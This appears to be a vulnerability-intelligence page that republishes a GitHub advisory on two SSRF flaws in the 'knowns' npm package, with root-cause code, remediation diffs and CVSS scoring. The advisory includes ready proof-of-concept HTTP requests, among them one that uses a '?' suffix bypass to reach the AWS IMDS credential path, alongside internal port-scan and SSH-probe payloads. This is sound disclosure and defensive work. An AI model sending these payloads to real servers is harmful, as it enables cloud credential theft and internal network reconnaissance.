llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · knowns

GHSA-W7XR-3G68-FGJC

Multiple Server-Side Request Forgery (SSRF) via Embedding Model Test and Git Clone Import Endpoints

Parche disponible
Descargar PNG JSON
CVSS 4.0
7.8
Alta
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a 13 d de la divulgación
Exposición73 dDesde la divulgación, 8 sept 2026, 10:59 p. m.
Detección71 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 4.0 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Hmm… no me convence. Vigílala de cerquita.Mis orejas detectan algo raro por aquí.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 0.34.0
Monitoreo
Detectada +1
9 sept 26
22 sept 26
19 nov 26
21 nov 26
9 sept 26
27 sept 26
15 oct 26
3 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-W7XR-3G68-FGJC divulgada · CVSS 7.8 (GitHub)
Divulgación Modificada Última actualización del registro
Remediación Parche 0.34.0 knowns · 13 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Overview

Verified. Two independent Server-Side Request Forgery (SSRF) vulnerabilities exist in Knowns' HTTP API, allowing an attacker to coerce the server into making network requests to arbitrary internal or external hosts from the server's network position.

Vector 1 - Embedding Model Test: `POST /api/embedding-models/test` at [`internal/server/routes/embedding_models.go:64-143`](file:///D:/knowns-main/internal/server/routes/embedding_models.go#L64-L143) accepts an attacker-controlled `apiBase` URL parameter and constructs a server-side HTTP POST request to `apiBase + "/embeddings"` with no URL validation, scheme restriction, or destination allowlist. The hardcoded path suffix `/embeddings` is bypassable by appending `?` or `#` to the attacker's URL.

This is not blind SSRF. Error messages returned to the caller disclose internal network reachability, DNS resolution results including IP addresses, HTTP status codes of internal services, and TLS/connection state details. Combined with the documented IMDS bypass technique, this vulnerability supports direct cloud credential access on AWS deployments - justifying high subsequent system impact.

Vector 2 - Git Clone Import: `POST /api/imports` at [`internal/server/routes/imports.go:535-588`](file:///D:/knowns-main/internal/server/routes/imports.go#L535-L588) accepts an attacker-controlled `source` URL. When `isGitURL(source)` returns true, the server executes `git ls-remote` and `git clone` as subprocesses against the attacker-supplied URL with no destination allowlist. Git error output discloses internal service reachability and SSH version information.

Both endpoints are protected only by the password-based auth middleware, which is a no-op in the default configuration ([`internal/server/routes/auth.go:80-85`](file:///D:/knowns-main/internal/server/routes/auth.go#L80-L85)). On localhost deployments - the standard development configuration - these endpoints are unauthenticated.

Affected Paths

Vector 1 - Embedding Model Test

| File Path | Role | Vulnerability & Execution Impact |
| :--- | :--- | :--- |
| [`internal/server/routes/embedding_models.go:64-143`](file:///D:/knowns-main/internal/server/routes/embedding_models.go#L64-L143) | SSRF Sink - HTTP POST | [`test()`](file:///D:/knowns-main/internal/server/routes/embedding_models.go#L64-L143) - Unvalidated server-side HTTP request (CWE-918): Constructs `embedURL = apiBase + "/embeddings"` at lines 76-80, then calls `http.Client.Do(httpReq)` at line 103. No URL scheme validation, no hostname allowlist, no private IP block. The `/embeddings` suffix is bypassable via `?` or `#`. |
| [`internal/server/routes/embedding_models.go:104-109`](file:///D:/knowns-main/internal/server/routes/embedding_models.go#L104-L109) | Info Leak - Error Path | Connection error disclosure: `err.Error()` from `client.Do()` returned verbatim. Go's HTTP client errors include target hostnames, IP addresses, DNS resolution details, and connection state - enabling full internal network mapping without a successful connection. |
| [`internal/server/routes/embedding_models.go:113-118`](file:///D:/knowns-main/internal/server/routes/embedding_models.go#L113-L118) | Info Leak - Status Path | HTTP status code disclosure: `"HTTP " + resp.Status` returned for non-2xx responses. Reveals which internal services are alive and their authentication posture (200/401/403/500 distinguish service type). |
| [`internal/server/routes/auth.go:80-85`](file:///D:/knowns-main/internal/server/routes/auth.go#L80-L85) | Auth Bypass | [`Middleware()`](file:///D:/knowns-main/internal/server/routes/auth.go#L80-L85) - No-op when no password set: `if am == nil || !am.HasPassword() { next.ServeHTTP(w, r); return }`. Default local deployments have no password - all API routes unauthenticated. |

Vector 2 - Git Clone Import

| File Path | Role | Vulnerability & Execution Impact |
| :--- | :--- | :--- |
| [`internal/server/routes/imports.go:535-563`](file:///D:/knowns-main/internal/server/routes/imports.go#L535-L563) | SSRF Entry - Git Clone | [`add()`](file:///D:/knowns-main/internal/server/routes/imports.go#L535-L563) - Unvalidated git clone of attacker-supplied URL (CWE-918): Passes `req.Source` directly to [`gitCloneImport()`](file:///D:/knowns-main/internal/server/routes/imports.go#L341-L443) when `isGitURL(req.Source)` is true, executing `git clone --depth 1 -- cloneURL tmpDir` at line 365. No URL destination allowlist. |
| [`internal/server/routes/imports.go:317-336`](file:///D:/knowns-main/internal/server/routes/imports.go#L317-L336) | SSRF Pre-Flight - ls-remote | [`gitLsRemoteHead()`](file:///D:/knowns-main/internal/server/routes/imports.go#L317-L336) - Pre-clone probe: Executes `git ls-remote -- url target` at line 325 before the clone. Separate network request probing reachability and leaking git protocol version information. |
| [`internal/server/routes/imports.go:356-379`](file:///D:/knowns-main/internal/server/routes/imports.go#L356-L379) | Info Leak - Clone Error | Git stderr disclosure: Clone failure stderr returned to caller at line 379. Discloses internal hostnames, SSH banners (`SSH-2.0-OpenSSH_8.9`), HTTP redirect chains, and TLS certificate details. |

Root Cause

Neither endpoint validates the destination URL against an allowlist of permitted hosts.

Flaw A - Unvalidated HTTP Request in Embedding Model Test (`embedding_models.go:76-103`)

Three compounding defects allow the SSRF:

  • No scheme validation: `apiBase` can be `http://`, `https://`, or any scheme Go's HTTP client accepts.
  • No hostname allowlist: `localhost`, `127.0.0.1`, `169.254.169.254` (AWS IMDS), `metadata.google.internal` (GCP), private RFC1918 ranges, and internal DNS names are all accepted.
  • Bypassable path suffix: The appended `/embeddings` is neutralized by ending `apiBase` with `?` (makes `/embeddings` a query parameter) or `#` (makes it a fragment). Example: `apiBase = "http://169.254.169.254/latest/meta-data/iam/security-credentials/role?"` produces a direct request to the IAM credential path.
embedURL := req.APIBase
if embedURL[len(embedURL)-1] != '/' {
    embedURL += "/"
}
embedURL += "embeddings"

// ...

client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(httpReq)   // ← no validation before this point

if err != nil {
    respondJSON(w, http.StatusOK, embeddingModelTestResponse{
        Success: false,
        Error:   err.Error(),    // ← verbatim: DNS, IP, port, connection state
    })
}
Flaw B - Unvalidated Git Clone of Arbitrary URL (`imports.go:556-563`)

`isGitURL()` accepts three patterns with no destination restrictions:

func isGitURL(source string) bool {
    s := strings.TrimSpace(source)
    if strings.HasPrefix(strings.ToLower(s), "git@") {
        return strings.Contains(s, ":")   // ← SSH to arbitrary host:port
    }
    u, err := url.Parse(s)
    return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != ""
}

Accepted: `http://internal-service:8080/repo`, `https://internal-gitlab.corp/repo`, `git@internal-host:repo` (SSH to port 22).

Flaw C - Verbose Error Disclosure (Both Vectors)

Both endpoints return detailed error information that enables network mapping without successful connections:

  • Embedding model test ([`internal/server/routes/embedding_models.go:104-109`](file:///D:/knowns-main/internal/server/routes/embedding_models.go#L104-L109)) - Go HTTP client errors contain DNS resolution results (`lookup internal-host: no such host`), connection state (`dial tcp 10.0.1.5:6379: connect: connection refused`), and timeout behavior.
  • Git clone ([`internal/server/routes/imports.go:369-379`](file:///D:/knowns-main/internal/server/routes/imports.go#L369-L379)) - Git stderr contains SSH server banners (`SSH-2.0-OpenSSH_8.9`), HTTP redirect chains, TLS certificate details, and protocol negotiation information.

| Error Type | Example | Information Disclosed |
| :--- | :--- | :--- |
| DNS failure | `lookup internal-host: no such host` | Target hostname doesn't resolve in server DNS |
| Connection refused | `dial tcp 10.0.1.5:6379: connect: connection refused` | Host alive, specific port closed - reveals IP and port |
| Timeout | `dial tcp 10.0.0.1:8080: i/o timeout` | Host unreachable or firewalled |
| HTTP 200 + parse fail | `failed to parse response: invalid character...` | Service alive, returned non-JSON - confirms IMDS/plain-text response |
| HTTP status code | `HTTP 401 Unauthorized` | Service alive, auth-gated - fingerprints API services |
| Git SSH banner | `SSH-2.0-OpenSSH_8.9` | Internal SSH server version and presence |
| Git clone error | `fatal: repository not found` | Internal GitLab/Gitea instance confirmed at hostname |

Attack Vector

Vector 1 - Embedding Model SSRF

| Phase | Step | Effect |
| :--- | :--- | :--- |
| 1. Probe | `POST /api/embedding-models/test` with `{"apiBase": "http://169.254.169.254/latest/meta-data?", "model": "x"}` | Server sends POST to AWS IMDS - response confirms instance role presence |
| 2. Credential access | `apiBase = "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name?"` | IMDS credential endpoint hit directly - parse error confirms response received |
| 3. Scan | Iterate `apiBase` over internal IP ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`) and common ports | Error messages distinguish: DNS failure / connection refused / timeout / HTTP response |
| 4. Fingerprint | For responsive hosts, vary ports and path prefixes | HTTP status codes and error messages reveal service type (Redis, Elasticsearch, admin panels) |

Vector 2 - Git Clone SSRF

| Phase | Step | Effect |
| :--- | :--- | :--- |
| 1. HTTP probe | `POST /api/imports` with `{"source": "https://internal-gitlab.corp/test/repo", "name": "probe"}` | Server runs `git ls-remote` then `git clone` - confirms internal GitLab reachability |
| 2. SSH probe | `POST /api/imports` with `{"source": "git@internal-host:test/repo", "name": "probe"}` | Server initiates SSH connection to port 22 - reveals SSH banner and host reachability |
| 3. Enumerate | Parse stderr from error responses | Map internal git infrastructure - GitLab/Gitea/Gogs instances, SSH versions, firewall rules |

Proof of Concept

Payload 1 - AWS IMDS Credential Probe
POST /api/embedding-models/test HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json

{
  "apiBase": "http://169.254.169.254/latest/meta-data/iam/security-credentials/knowns-role?",
  "model": "test",
  "apiKey": ""
}
Payload 2 - Internal Service Port Scan
POST /api/embedding-models/test HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json

{
  "apiBase": "http://10.0.1.5:6379?",
  "model": "test"
}
Payload 3 - Internal Git Infrastructure Discovery
POST /api/imports HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json

{
  "source": "https://gitlab.internal.corp/admin/config",
  "name": "probe",
  "dryRun": true
}
Payload 4 - SSH Service Fingerprinting
POST /api/imports HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json

{
  "source": "git@10.0.1.10:test/repo",
  "name": "probe"
}

Impact

  • Confidentiality: HIGH (Vector 1) / LOW (Vector 2) - Vector 1 is semi-blind SSRF with verbose error disclosure. DNS resolution results, IP addresses, HTTP status codes, and connection state all returned to caller. On AWS deployments with an attached IAM role, the IMDS credential endpoint is directly reachable via the documented `/embeddings` bypass. Full internal network topology mappable from error responses alone.
  • Integrity: LOW - The embedding model SSRF sends POST requests with a constrained JSON body. While the fixed JSON structure limits practical exploitation, POST can trigger state changes on internal services that accept arbitrary POST requests without CSRF protection.
  • Availability: NONE - The HTTP client timeout is 10 seconds ([`embedding_models.go:97`](file:///D:/knowns-main/internal/server/routes/embedding_models.go#L97)). No amplification vector.
  • Subsequent System Impact: HIGH (Vector 1) / LOW (Vector 2) - The Knowns server initiates network requests from its own network position to internal services, cloud metadata endpoints, and localhost services the external attacker cannot reach directly.

CVSS v4.0

Vector 1 - Embedding Model Test SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
Score: 7.8 High

*(Note: When a password is configured, PR becomes `L`, yielding CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N with Score 6.3 Moderate).*

| Metric Group | Metric | Value | Rationale |
| :--- | :--- | :--- | :--- |
| Exploitability | Attack Vector (AV) | Network (N) | HTTP API endpoint reachable over the network. |
| | Attack Complexity (AC) | Low (L) | Single HTTP POST with a crafted JSON body. No race, no brute force. |
| | Attack Requirements (AT) | None (N) | Default configuration allows immediate reachability. |
| | Privileges Required (PR) | None (N) | Default local deployment has no password - auth middleware is a no-op ([`auth.go:82-84`](file:///D:/knowns-main/internal/server/routes/auth.go#L80-L85)). |
| | User Interaction (UI) | None (N) | Exploit fires on first request with no victim action. |
| Vulnerable System | VC (Confidentiality) | None (N) | No direct read of Knowns host application data. |
| | VI (Integrity) | None (N) | No direct mutation of Knowns internal data. |
| | VA (Availability) | None (N) | 10-second client timeout; no application DoS. |
| Subsequent System | SC (Confidentiality) | High (H) | Internal cloud metadata (IMDS IAM credentials) and internal network topology leaked. |
| | SI (Integrity) | Low (L) | Outbound POST can induce state change on unauthenticated internal HTTP endpoints. |
| | SA (Availability) | None (N) | No subsequent denial of service. |

Vector 2 - Git Clone Import SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Score: 6.9 Medium

*(Note: When a password is configured, PR becomes `L`, yielding CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N with Score 5.1 Medium).*

| Metric Group | Metric | Value | Rationale |
| :--- | :--- | :--- | :--- |
| Exploitability | Attack Vector (AV) | Network (N) | HTTP API endpoint reachable over the network. |
| | Attack Complexity (AC) | Low (L) | Single HTTP POST with crafted `source` URL. |
| | Attack Requirements (AT) | None (N) | Default deployment allows request execution. |
| | Privileges Required (PR) | None (N) | Unauthenticated in default local configuration. |
| | User Interaction (UI) | None (N) | Exploit fires on first request. |
| Vulnerable System | VC (Confidentiality) | None (N) | No Knowns application file leakage. |
| | VI (Integrity) | None (N) | No Knowns state corruption. |
| | VA (Availability) | None (N) | No application DoS. |
| Subsequent System | SC (Confidentiality) | Low (L) | Git stderr discloses SSH banners, git error messages, and service reachability. |
| | SI (Integrity) | Low (L) | `git ls-remote` runs before clone - network connections per probe. |
| | SA (Availability) | None (N) | No subsequent denial of service. |

Remediation

Fix 1 - URL Allowlist for Embedding Model Test ([`embedding_models.go`](file:///D:/knowns-main/internal/server/routes/embedding_models.go))
--- a/internal/server/routes/embedding_models.go
+++ b/internal/server/routes/embedding_models.go
@@ -70,6 +70,12 @@ func (emr *EmbeddingModelRoutes) test(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 
+	if err := validateExternalURL(req.APIBase); err != nil {
+		respondError(w, http.StatusBadRequest, "invalid apiBase: "+err.Error())
+		return
+	}
+
 	embedURL := req.APIBase

`validateExternalURL` must:
1. Parse the URL and reject non-HTTPS schemes
2. Resolve the hostname and reject private IP ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `127.0.0.0/8`, `169.254.0.0/16`, `fc00::/7`, `::1`)
3. Reject `localhost`, `metadata.google.internal`, and other known metadata hostnames

Fix 2 - URL Allowlist for Git Import ([`imports.go`](file:///D:/knowns-main/internal/server/routes/imports.go))
--- a/internal/server/routes/imports.go
+++ b/internal/server/routes/imports.go
@@ -555,6 +555,11 @@ func (ir *ImportRoutes) add(w http.ResponseWriter, r *http.Request) {
 	if isGitURL(req.Source) {
+		if err := validateExternalURL(req.Source); err != nil {
+			respondError(w, http.StatusBadRequest, "invalid source URL: "+err.Error())
+			return
+		}
 		changes, warnings, _, _, err := ir.gitCloneImport(req.Source, name, req.Ref, "", req.DryRun)
Fix 3 - Sanitize Error Messages
--- a/internal/server/routes/embedding_models.go
+++ b/internal/server/routes/embedding_models.go
@@ -104,7 +104,7 @@ func (emr *EmbeddingModelRoutes) test(w http.ResponseWriter, r *http.Request) {
 	if err != nil {
 		respondJSON(w, http.StatusOK, embeddingModelTestResponse{
 			Success: false,
-			Error:   err.Error(),
+			Error:   "connection to embedding API failed",
 		})

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:N
AltoBajoNinguno
Integridad (sistema)VI:N
AltoBajoNinguno
Disponib. (sistema)VA:N
AltoBajoNinguno
Confid. (posterior)SC:H
AltoBajoNinguno
Integridad (posterior)SI:L
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Versiones afectadas

0.33.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmknowns
Corregida 0.34.0 13 d 0.35.0 no afectada
Versiones corregidas0.34.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/knowns-dev/knowns/security/advisories/GHSA-w7xr-3g68-fgjc

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.